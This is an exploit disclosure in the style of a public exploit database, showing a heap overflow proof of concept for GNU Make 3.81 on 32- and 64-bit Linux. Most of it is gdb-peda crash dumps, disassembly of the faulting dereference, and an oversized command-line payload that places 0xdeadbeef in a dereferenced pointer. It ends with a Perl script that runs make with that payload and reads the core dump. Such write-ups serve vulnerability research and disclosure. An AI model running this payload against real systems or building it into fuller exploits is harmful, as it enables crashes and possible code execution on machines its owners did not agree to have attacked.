Make 3.81 Heap Overflow

`# Exploit Title: MAKE Heap Overflow - Pointer dereferencing POC (Calloc)-X86 X64  
# Date: [14.07.14]  
# Exploit Author: HyP  
# Vendor Homepage: http://www.gnu.org/software/make/  
# Software Link: http://ftp.gnu.org/gnu/make/  
# Version: Make 3.81  
# Tested on: linux32,64 bits (Fedora,Debian,ubuntu,Arch)  
# CVE : none  
  
*******************************************************************************************  
Special Thanks:  
  
kmkz  
Zadyree  
Sec0d Team  
  
*******************************************************************************************  
*******************************************************************************************  
32bits  
  
  
./checksec.sh --file make  
RELRO STACK CANARY NX PIE RPATH  
RUNPATH FILE  
No RELRO No canary found NX enabled No PIE No RPATH  
No RUNPATH make  
  
  
gdb-peda$ r `perl -e 'print "A" x 4000 . "B"x96 . "\xef\xbe\xad\xde"x4'`  
  
  
Program received signal SIGSEGV, Segmentation fault.  
[----------------------------------registers-----------------------------------]  
...  
EAX: 0xdeadbeef  
EBX: 0x807b971 --> 0x6f2e ('.o')  
ECX: 0x0  
EDX: 0x1  
ESI: 0xdeadbeef  
EDI: 0x0  
EBP: 0xbfffc5e8 --> 0xbfffc698 --> 0x8081de0 --> 0x0  
ESP: 0xbfffa310 --> 0xbfffb510 --> 0x6f2e ('.o')  
EIP: 0x80548b2 (mov eax,DWORD PTR [eax])  
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction  
overflow)  
[-------------------------------------code-------------------------------------]  
0x80548aa: je 0x80548b8  
0x80548ac: lea esi,[esi+eiz*1+0x0]  
0x80548b0: mov esi,eax  
=> 0x80548b2: mov eax,DWORD PTR [eax] <------ Pointer Dereferencing  
0x80548b4: test eax,eax  
0x80548b6: jne 0x80548b0  
0x80548b8: cmp DWORD PTR [ebp-0x1034],0x1  
0x80548bf: mov DWORD PTR [ebp-0x10ac],edx  
[------------------------------------stack-------------------------------------]  
0000| 0xbfffa310 --> 0xbfffb510 --> 0x6f2e ('.o')  
0004| 0xbfffa314 --> 0x807b971 --> 0x6f2e ('.o')  
0008| 0xbfffa318 --> 0x2  
0012| 0xbfffa31c --> 0xb7ffadf8 ("symbol=%s; lookup in file=%s [%lu]\n")  
0016| 0xbfffa320 --> 0x0  
0020| 0xbfffa324 --> 0x0  
0024| 0xbfffa328 --> 0x0  
0028| 0xbfffa32c --> 0x0  
[------------------------------------------------------------------------------]  
Legend: code, data, rodata, value  
Stopped reason: SIGSEGV  
0x080548b2 in ?? ()  
  
  
Overflow code:  
...  
80548aa: 74 0c je 80548b8 <calloc@plt+0xac38>  
80548ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi  
80548b0: 89 c6 mov %eax,%esi  
80548b2: 8b 00 mov (%eax),%eax  
80548b4: 85 c0 test %eax,%eax  
80548b6: 75 f8 jne 80548b0 <calloc@plt+0xac30>  
...  
  
  
gdb-peda$ x/x $eax  
0x807ff68: 0x00000000  
  
peda vmmap  
Start End Perm Name  
0x08048000 0x0806f000 r-xp /root/Desktop/RESEARCH/make_BoF/make  
0x0806f000 0x08070000 rw-p /root/Desktop/RESEARCH/make_BoF/make  
  
0x08070000 0x08092000 rw-p [heap] // heap overflow !!  
  
  
  
*******************************************************************************************  
*******************************************************************************************  
64bits  
  
  
Overflow Code :  
40cc59: 74 10 je 40cc6b <__ctype_b_loc@plt+0xa52b>  
40cc5b: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0]  
40cc60: 48 89 c3 mov rbx,rax  
40cc63: 48 8b 00 mov rax,QWORD PTR [rax] // heap overflow  
  
  
Program received signal SIGSEGV, Segmentation fault.  
[----------------------------------registers-----------------------------------]  
RAX: 0xdeadbeefdeadbeef  
RBX: 0xdeadbeefdeadbeef  
RCX: 0x4242424242424242 ('BBBBBBBB')  
RDX: 0x0  
RSI: 0x7fffffff97d0 ('A' <repeats 200 times>...)  
RDI: 0x7fffffffa7e2 --> 0x732e656c69666500 ('')  
RBP: 0x7fffffffb930 --> 0x1  
RSP: 0x7fffffff95f0 --> 0x0  
RIP: 0x40cc63 (mov rax,QWORD PTR [rax])  
R8 : 0x4242424242424242 ('BBBBBBBB')  
R9 : 0x7ffff7972440 (mov dx,WORD PTR [rsi-0x2])  
R10: 0x4242424242424242 ('BBBBBBBB')  
R11: 0x7ffff799f990 --> 0xfffd28d0fffd2708  
R12: 0x1  
R13: 0x0  
R14: 0x6397a0 --> 0x6f2e25 ('%.o')  
R15: 0x0  
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction  
overflow)  
[-------------------------------------code-------------------------------------]  
0x40cc59: je 0x40cc6b  
0x40cc5b: nop DWORD PTR [rax+rax*1+0x0]  
0x40cc60: mov rbx,rax  
=> 0x40cc63: mov rax,QWORD PTR [rax] <----- Pointer dereferencing  
0x40cc66: test rax,rax  
0x40cc69: jne 0x40cc60  
0x40cc6b: cmp DWORD PTR [rbp-0x105c],0x1  
0x40cc72: lea rdi,[rbp-0x40]  
[------------------------------------stack-------------------------------------]  
0000| 0x7fffffff95f0 --> 0x0  
0008| 0x7fffffff95f8 --> 0x0  
0016| 0x7fffffff9600 --> 0x0  
0024| 0x7fffffff9608 --> 0x645e50 --> 0x646630 --> 0x64667b -->  
0x5f7266006362696c ('libc')  
0032| 0x7fffffff9610 --> 0xffffffdf  
0040| 0x7fffffff9618 --> 0x645e58 --> 0x6462f0 --> 0x64a500 --> 0x64a541  
--> 0x5f726600656b616d ('make')  
0048| 0x7fffffff9620 --> 0x7ffff7bd01f8 --> 0x645e50 --> 0x646630 -->  
0x64667b --> 0x5f7266006362696c ('libc')  
0056| 0x7fffffff9628 --> 0x0  
[------------------------------------------------------------------------------]  
Legend: code, data, rodata, value  
Stopped reason: SIGSEGV  
0x000000000040cc63 in ?? ()  
  
  
  
*******************************************************************************************  
*******************************************************************************************  
Proof of Concept - Source code  
*******************************************************************************************  
*******************************************************************************************  
=cut  
  
#!/usr/bin/perl  
  
use 5.010;  
use strict;  
use warnings;  
say "Please set ulimit value to 1000 before (ulimit -c 1000) ";  
sleep 0.5;  
  
  
my $buff = "A"x 4096 ;  
my $addr = "\xef\xbe\xad\xde";  
my $make = "./make";  
my $gdb = "gdb --core core";  
my $PAYLOAD= (`perl -e 'print "$buff" . "$addr" '`);  
  
my $exec= qx($make $PAYLOAD);  
  
say " Reading Core file GDB ";  
sleep 0.5;  
  
  
`